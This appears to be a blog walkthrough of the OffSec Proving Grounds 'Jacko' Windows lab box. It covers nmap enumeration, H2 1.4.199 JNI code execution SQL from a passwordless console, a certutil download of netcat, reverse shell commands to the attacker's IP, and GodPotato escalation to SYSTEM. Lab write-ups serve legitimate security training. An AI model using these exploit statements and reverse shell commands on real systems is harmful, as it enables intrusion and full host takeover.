writeup 2026-01-16 · 4 min read

OffSec Proving Grounds Jacko Writeup

Windows Proving Grounds box. A passwordless H2 1.4.199 console runs JNI code execution for a shell as tony, and SeImpersonate with GodPotato gives SYSTEM.

OffSec Proving Grounds Jacko Writeup

Summary

Jacko is a Windows Proving Grounds box whose H2 database console on port 8082 accepts the sa account with no password. The version is H2 1.4.199, vulnerable to a JNI based code execution exploit that writes a native DLL from SQL and loads it to run arbitrary commands. Running that exploit’s SQL confirms execution, then a certutil download of nc64.exe and a netcat call return a reverse shell as tony. The shell has a broken PATH that is fixed by resetting it to system32, after which whoami /priv shows SeImpersonatePrivilege, and GodPotato abuses it to run netcat as NT AUTHORITY\SYSTEM.

Service Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# Nmap 7.98 scan initiated Thu Jan 15 19:13:59 2026 as: nmap -A -vv -oN scans/nmap.all -p- --min-rate 2500 192.168.164.66
Not shown: 65507 closed tcp ports (conn-refused)
PORT      STATE    SERVICE        REASON      VERSION
80/tcp    open     http           syn-ack     Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-title: H2 Database Engine (redirect)
135/tcp   open     msrpc          syn-ack     Microsoft Windows RPC
139/tcp   open     netbios-ssn    syn-ack     Microsoft Windows netbios-ssn
445/tcp   open     microsoft-ds?  syn-ack
2546/tcp  filtered vytalvaultbrtp no-response
3381/tcp  filtered geneous        no-response
4815/tcp  filtered unknown        no-response
5040/tcp  open     unknown        syn-ack
8082/tcp  open     http           syn-ack     H2 database http console
|_http-favicon: Unknown favicon MD5: D2FBC2E4FB758DC8672CDEFB4D924540
| http-methods: 
|_  Supported Methods: GET POST
|_http-title: H2 Console
9092/tcp  open     XmlIpcRegSvc?  syn-ack
15412/tcp filtered unknown        no-response
21660/tcp filtered unknown        no-response
36598/tcp filtered unknown        no-response
39877/tcp filtered unknown        no-response
42403/tcp filtered unknown        no-response
43101/tcp filtered unknown        no-response
44457/tcp filtered unknown        no-response
45272/tcp filtered unknown        no-response
48679/tcp filtered unknown        no-response
49664/tcp open     msrpc          syn-ack     Microsoft Windows RPC
49665/tcp open     msrpc          syn-ack     Microsoft Windows RPC
49666/tcp open     msrpc          syn-ack     Microsoft Windows RPC
49667/tcp open     msrpc          syn-ack     Microsoft Windows RPC
49668/tcp open     msrpc          syn-ack     Microsoft Windows RPC
49669/tcp open     msrpc          syn-ack     Microsoft Windows RPC
52189/tcp filtered unknown        no-response
52681/tcp filtered unknown        no-response
54941/tcp filtered unknown        no-response

Initial Access: H2 Database 1.4.199 - JNI Code Execution

I access the webapp on port 8082:

H2 database login console on port 8082 prefilled with the sa user

It pre-fills the username “sa” but no password. I try hitting the “Connect” button anyways, and it works! I can authenticate as “sa” without a password, it seems like. On the authenticated panel, I can see the software version:

Authenticated H2 console showing version 1.4.199

More specifically, this string:

1
H2 1.4.199 (2019-03-13)

I search only for the specific version on searchsploit:

1
searchsploit 1.4.199

And this leads me to this exploit:

1
java/local/49384.txt

The exploit reads:

H2 allows users to gain code execution by compiling and running Java code, however this requires the Java Compiler to be available on the machine running H2. This exploit utilizes the Java Native Interface to load a a Java class without needing to use the Java Compiler.

The exploit is massive. It starts off with:

1
2
-- Write native library
SELECT CSVWRITE('C:\Windows\Temp\JNIScriptEngine.dll', CONCAT('SELECT NULL "',

And finishes with:

1
2
3
4
5
6
7
-- Load native library
CREATE ALIAS IF NOT EXISTS System_load FOR "java.lang.System.load";
CALL System_load('C:\Windows\Temp\JNIScriptEngine.dll');

-- Evaluate script
CREATE ALIAS IF NOT EXISTS JNIScriptEngine_eval FOR "JNIScriptEngine.eval";
CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("whoami").getInputStream()).useDelimiter("\\Z").next()');

The “Evaluate script” section is where we can execute commands on the system. More specifically on this snippet:

1
java.lang.Runtime.getRuntime().exec("whoami")

Using the “SQL Statement” field of the web app, I paste the entire exploit (starting at -- Write native library and below):

H2 SQL statement field running the JNI exploit to confirm command execution

This confirms command execution is possible using this exploit. To obtain a reverse shell, I first prepare a python webserver:

1
sudo python3 -m http.server 80

Then get a copy of netcat for x64 and use this payload to make the victim grab the netcat binary off of my machine:

1
certutil -urlcache -f http://192.168.45.205/nc64.exe C:\\windows\\tasks\\nc.exe

So the Evaluate script would look like this:

1
2
3
-- Evaluate script
CREATE ALIAS IF NOT EXISTS JNIScriptEngine_eval FOR "JNIScriptEngine.eval";
CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("certutil -urlcache -f http://192.168.45.205/nc64.exe C:\\windows\\tasks\\nc.exe").getInputStream()).useDelimiter("\\Z").next()');

The victim grabs netcat and saves it to C:\windows\tasks! I start netcat listener on port 53:

1
sudo rlwrap nc -lvnp 53

And now I can obtain a reverse shell by executing netcat like so:

1
cmd /c C:\\windows\\tasks\\nc.exe 192.168.45.205 53 -e cmd.exe

So the payload would be:

1
2
3
-- Evaluate script
CREATE ALIAS IF NOT EXISTS JNIScriptEngine_eval FOR "JNIScriptEngine.eval";
CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("cmd /c C:\\windows\\tasks\\nc.exe 192.168.45.205 53 -e cmd.exe").getInputStream()).useDelimiter("\\Z").next()');

This immediately lands me a shell on the system as “tony”:

Reverse shell obtained on the box as the tony user

Vertical Privilege Escalation

This shell was borked for some reason, and I can tell because many of my commands were failing. The error message indicates whatever binary I was trying to run was not found. What’s interesting is that “certutil”, tool that worked just fine when exploiting H2 Database, now fails to work. The shell says it can’t find the “certutil” binary.

Fix the PATH variable, so shell can find binaries:

1
set PATH=%SystemRoot%\system32;%SystemRoot%;

Now I can actually run commands. I run:

1
whoami /priv

To discover that my user has the SeImpersonatePrivilege **attribute enabled. I transfer **GodPotato.exe to the machine and escalate privileges like so:

1
C:\Windows\Tasks>.\GodPotato.exe -cmd ".\nc.exe 192.168.45.205 53 -e cmd.exe"

As you can see from the screenshot below, this lands me a shell on the system as NT AUTHORITY\SYSTEM

GodPotato returning a shell as NT AUTHORITY SYSTEM

This post is licensed under CC BY 4.0 by the author.